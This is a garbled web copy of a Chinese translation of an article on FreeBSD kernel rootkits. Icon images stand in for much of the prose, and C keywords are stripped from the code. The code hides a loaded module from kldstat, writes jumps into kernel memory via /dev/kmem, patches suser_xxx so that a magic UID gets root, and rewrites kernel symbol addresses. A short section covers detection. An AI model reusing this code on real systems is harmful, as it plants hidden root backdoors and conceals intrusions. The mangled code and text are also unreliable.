![](/icons/96811yi.gif)
3.6.隐藏模块
重要
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
前面我们已经提到了维持了
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
数应该是现在
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
externlinker_file_list_tlinker_files;
extern
next_file_id;
externstructlocklock;
[...]
linker_file_tlf=0;
/*lockexclusive,sincewechangethings*/
lockmgr(&lock,LK_EXCLUSIVE,0,curproc);
(&linker_files)->tqh_first->refs--;
TAILQ_FOREACH(lf,&linker_files,link){ //宏定义遍历队列得到linker_file结构
(!strcmp(lf->filename,"cyellow.ko")){
/*firstlet'sdecrementthegloballinkfilecounter*/
next_file_id--;
/*nowlet'sremovetheentry*/
TAILQ_REMOVE(&linker_files,lf,link);//从队列中删除
;
}
}
lockmgr(&lock,LK_RELEASE,0,curproc);
下![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou2.gif)
externmodulelist_tmodules;
extern
nextid;
[...]
module_tmod=0;
TAILQ_FOREACH(mod,&modules,link){
(!strcmp(mod->name,"cy")){
/*firstlet'spatchthe
ernalIDcounter*/
nextid--;
TAILQ_REMOVE(&modules,mod,link);
}
}
[...]
现在我们看kldstat![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou2.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
3.6其它
![](/icons/96811de.gif)
还有其他可以利用内核模块可以做得很多事
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
当然通过/dev/kmem你可以得到很多有趣
![](/icons/96811de.gif)
![](/icons/96811de.gif)
4.内核补丁
模块并不是唯
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou2.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
4.1介绍
简单
![](/icons/96811de.gif)
![](/icons/96811hanshu.gif)
![](/icons/96811de.gif)
![](/icons/96811yi.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811return.gif)
![](/icons/96811dou2.gif)
4.2插入跳转
非常简单可以插入
![](/icons/96811yi.gif)
![](/icons/96811hanshu.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou2.gif)
在tools/putjump.c:
/*这里是那个非常经典
![](/icons/96811de.gif)
![](/icons/96811hanshu.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
/*thejump*/
unsignedcharcode
="xb8x00x00x00x00" /*movl $0,%eax */
"xffxe0" /*jmp *%eax */
;
![](/icons/96811int.gif)
(
argc,char**argv){
charerrbuf[_POSIX2_LINE_MAX];
longd
f;
kvm_t*kd;
structnlistnl
={{NULL},{NULL},{NULL},};
(argc<3){
fpr
f(stderr,"Usage:putjump[fromfunction][tofunction] ");
exit(-1);
}
nl[0].n_name=argv[1];
nl[1].n_name=argv[2];
kd=kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
(kd
NULL){
fpr
f(stderr,"ERROR:%s ",errbuf);
exit(-1);
}
(kvm_nlist(kd,nl)<0){
fpr
f(stderr,"ERROR:%s ",kvm_geterr(kd));
exit(-1);
}
(!nl[0].n_value){
fpr
f(stderr,"Symbol%snotfound. ",nl[0].n_name);
exit(-1);
}
(!nl[1].n_value){
fpr
f(stderr,"Symbol%snotfound. ",nl[1].n_name);
exit(-1);
}
pr
f("%sis0x%xat0x%x ",nl[0].n_name,nl[0].n_type,nl[0].n_value);
pr
f("%sis0x%xat0x%x ",nl[1].n_name,nl[1].n_type,nl[1].n_value);
/*
theaddresstojumpto*/
*(unsignedlong*)&code[1]=nl[1].n_value;
(kvm_write(kd,nl[0].n_value,code,
(code))<0){
fpr
f(stderr,"ERROR:%s ",kvm_geterr(kd));
exit(-1);
}
pr
f("Writtenthejump ");
(kvm_close(kd)<0){
fpr
f(stderr,"ERROR:%s ",kvm_geterr(kd));
exit(-1);
}
exit(0);
}
4.3替换内核代码为了避免修改已经存在
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811yinwei.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
为了鉴别用户是否是root或者超级用户
![](/icons/96811dou.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811hanshu.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
这里
![](/icons/96811de.gif)
#objdump-d/kernel--start-address=0xc019d538|more
/kernel: fileformatelf32-i386
Disassemblyofsection.text:
c019d538:
c019d538: 55 push %ebp
c019d539: 89e5 mov %esp,%ebp
c019d53b: 8b4508 mov 0x8(%ebp),%eax//参数cred
c019d53e: 8b550c mov 0xc(%ebp),%edx//参数proc
c019d541: 85c0 test %eax,%eax //!cred
c019d543: 7520 jne c019d565
c019d545: 85d2 test %edx,%edx
c019d547: 7513 jne c019d55c
c019d549: 6890df36c0 push $0xc036df90
c019d54e: e85ddb0000 call c01ab0b0 //pr
f
c019d553: b801000000 mov $0x1,%eax
c019d558: eb32 jmp c019d58c
c019d55a: 89f6 mov %esi,%esi
c019d55c: 85c0 test %eax,%eax//!cred
c019d55e: 7505 jne c019d565
c019d560: 8b4210 mov 0x10(%edx),%eax
c019d563: 8b00 mov (%eax),%eax
c019d565: 83780400 cmpl $0x0,0x4(%eax)//cred->cr_uid!=0
c019d569: 75e8 jne c019d553
c019d56b: 85d2 test %edx,%edx
c019d56d: 741b je c019d58a
c019d56f: 83ba6001000000 cmpl $0x0,0x160(%edx)
c019d576: 7407 je c019d57f
c019d578: 8b4510 mov 0x10(%ebp),%eax
c019d57b: a801 test $0x1,%al
c019d57d: 74d4 je c019d553
c019d57f: 85d2 test %edx,%edx
c019d581: 7407 je c019d58a
c019d583: 808a7201000002 orb $0x2,0x172(%edx)
c019d58a: 31c0 xor %eax,%eax
c019d58c: c9 leave
c019d58d: c3 ret
c019d58e: 89f6 mov %esi,%esi
这里是反汇编![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811int.gif)
suser_xxx(cred,proc,flag)
structucred*cred;
structproc*proc;
flag;
{
(!cred&&!proc){
pr
f("suser_xxx
:THINK! ");
(EPERM);
}
(!cred)
cred=proc->p_ucred;
(cred->cr_uid!=0) ///------------------------------------|
(EPERM);
(proc&&proc->p_prison&&!(flag&PRISON_ROOT))
(EPERM);
(proc)
proc->p_acflag|=ASU;
(0);
}
除非你是![](/icons/96811yi.gif)
![](/icons/96811yi.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
((cred->cr_uid!=0)&&(cred->cr_uid!=MAGIC_UID))
(EPERM);
现在我们要找![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811int.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811int.gif)
![](/icons/96811de.gif)
![](/icons/96811cuowu.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811cuowu.gif)
![](/icons/96811de.gif)
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
c019d565: 83780400 cmpl $0x0,0x4(%eax)
c019d569: 75e8 jne c019d553 //75表示jne向上跳转到偏移e8
![](/icons/96811dou.gif)
我们看
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811int.gif)
c019d549: 6890df36c0 push $0xc036df90
c019d54e: e85ddb0000 call c01ab0b0
现在我们需要修改跳转地址75表示jne向上跳转到偏移e8
![](/icons/96811dou.gif)
现在我们就要修改pr
![](/icons/96811int.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
jmp0x07 eb07 /*跳过检查*/
cmpl$magic,0x4(%eax) 837804magic /*检察MAGIC_UID*/
je0x39 7439 /*跳到结束*/
nop 90 /*用来填充
字节*/
nop 90
现在修改c019d569地址出![](/icons/96811de.gif)
我们把它整合到
![](/icons/96811yi.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
#![](/icons/96811include.gif)
#![](/icons/96811include.gif)
#![](/icons/96811include.gif)
#![](/icons/96811include.gif)
#![](/icons/96811include.gif)
#
MAGIC_ADDR 0xc019d549
#
MAKE_OR_ADDR 0xc019d569
unsignedcharmagic
="xebx07" /*jmp06*/
"x83x78x04x00" /*cmpl$magic,0x4(%eax)*/
"x74x39" /*jetoend*/
"x90x90" /*fillingnop*/
;
unsignedcharmakeor
="x75xe0"; /*jnee0*/
![](/icons/96811int.gif)
(
argc,char**argv){
charerrbuf[_POSIX2_LINE_MAX];
longd
f;
kvm_t*kd;
u_
32_tmagic_addr=MAGIC_ADDR;
u_
32_tmakeor_addr=MAKE_OR_ADDR;
kd=kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
(kd
NULL){
fpr
f(stderr,"ERROR:%s ",errbuf);
exit(-1);
}
(kvm_write(kd,MAGIC_ADDR,magic,
(magic)-1)<0){
fpr
f(stderr,"ERROR:%s ",kvm_geterr(kd));
exit(-1);
}
(kvm_write(kd,MAKE_OR_ADDR,makeor,
(makeor)-1)<0){
fpr
f(stderr,"ERROR:%s ",kvm_geterr(kd));
exit(-1);
}
(kvm_close(kd)<0){
fpr
f(stderr,"ERROR:%s ",kvm_geterr(kd));
exit(-1);
}
exit(0);
}
在direct/fix_suser_xxx.c可能你会见到轻微![](/icons/96811de.gif)
![](/icons/96811dou.gif)
现在你可以copy/sbin/ping到你
![](/icons/96811de.gif)
![](/icons/96811yi.gif)
5.越过重启
显然当重启后我们
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
如果你通过上面
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou2.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
6.实战
在先前
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
里面
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
命名为kernel
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811hanshu.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
![](/icons/96811int.gif)
_symbol(structproc*p,struct
_symbol_args*uap)
{
linker_file_tlf;
elf_file_tef;
unsignedlongsymnum;
constElf_Sym*symp=NULL;
Elf_Sym
_symp;
constchar*strp;
unsignedlonghash;
caddr_taddress;
error=0;
mod_debug("Setsymbol%saddress0x%x ",uap->name,uap->address);
lf=TAILQ_FIRST(&linker_files);
ef=lf->priv;
/*First,searchhashedglobalsymbols*/参见elf鉴别
hash=elf_hash(uap->name); //通过对名字hash可以加快寻找速度![](/icons/96811dou.gif)
symnum=ef->buckets[hash%ef->nbuckets];//
while(symnum!=STN_UNDEF){
(symnum>=ef->nchains){
pr
f("link_elf_lookup_symbol:corruptsymboltable ");
ENOENT;
}
symp=ef->symtab+symnum; //symtab节是静态符号节
(symp->st_name
0){//符号名字索引
pr
f("link_elf_lookup_symbol:corruptsymboltable ");
ENOENT;
}
strp=ef->strtab+symp->st_name;//符号名节
(!strcmp(uap->name,strp)){
/*foundthesymbolwiththegivenname*/
(symp->st_shndx!=SHN_UNDEF||//关联
索引
(symp->st_value!=0&&ELF_ST_TYPE(symp->st_info)
STT_FUNC)){//符号类型
关联
个![](/icons/96811hanshu.gif)
/*givesomedebuginfo*/
address=(caddr_t)ef->address+symp->st_value;
//符号
地址=模块
地址+st_value st_value表示文件偏移
mod_debug("found%sat0x%x! ",uap->name,(u
ptr_t)address);
bcopy(symp,&
_symp,
(Elf_Sym));
_symp.st_value=uap->address;//改变成新
地址
address=(caddr_t)ef->address+
_symp.st_value;
mod_debug("
addressis0x%x ",(u
ptr_t)address);
/*
theaddress*/
bcopy(&
_symp,(ef->symtab+symnum),
(Elf_Sym));
;
;
}![](/icons/96811else.gif)
(ENOENT);
}
symnum=ef->chains[symnum];
}
/*fornowthisonlylooksattheglobalsymboltable*/
(error);
}
symtable是![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou.gif)
![](/icons/96811set.gif)
![](/icons/96811dou.gif)
7.保护你自己:猫和老鼠
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
现在你可能要问
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
下面我们来看几种检测
![](/icons/96811de.gif)
7.1检查符号表
在上面
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou2.gif)
上面
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
你应该通过/dev/kmem监察系统
![](/icons/96811diaoyong.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou2.gif)
但是这样还是有问题
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811cuowu.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou.gif)
我们作如下检测
#tools/checkcallopen5
Checkingsyscall5:open
sysentis0x4at0xc03b7308
sysent[5]isat0xc03b7330andwillgotofunctionat0xc0cd5bf4
ALERT!Itshouldgoto0xc01ce5f8instead
当然我们通过
![](/icons/96811set.gif)
![](/icons/96811dou.gif)
#exp/
![](/icons/96811set.gif)
现在再用checkcall检查
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou2.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
7.2陷阱模块
另外
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811diaoyong.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811dou2.gif)
7.3
![](/icons/96811dou2.gif)
![](/icons/96811dou2.gif)
![](/icons/96811dou2.gif)
![](/icons/96811dou2.gif)
![](/icons/96811dou2.gif)
![](/icons/96811dou2.gif)
![](/icons/96811dou2.gif)
7.4概论
![](/icons/96811dou2.gif)
![](/icons/96811dou2.gif)
8.结论
正如你所见到
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
![](/icons/96811dou.gif)
![](/icons/96811yi.gif)
![](/icons/96811de.gif)
![](/icons/96811de.gif)
![](/icons/96811dou2.gif)
这篇文章可以让你学到更多
![](/icons/96811de.gif)
![](/icons/96811de.gif)
9.代码
文中提到
![](/icons/96811de.gif)
xfocus也有)
10.References
FreeBSD
ExploitingKernelbufferoverflowsFreeBSDStylebyEsaEtelavuori
AttackingFreeBSDwithKernelModules-The
![](/icons/96811System.gif)
DynamicKernelLinker(KLD)FacilityProgrammingTutorialbyAndrewReiter
Linux
RuntimeKernelKmemPatchingbySilvioCesare
Inspiriation:)
JeffNoon,"TheVurt"
11.Thanks
Thanksgoto:
JobdeHaas forgettingme
![](/icons/96811int.gif)
![](/icons/96811int.gif)
OlafErb forcheckingthearticleforreadability:)
andespeciallyAlexLeHeux
最新评论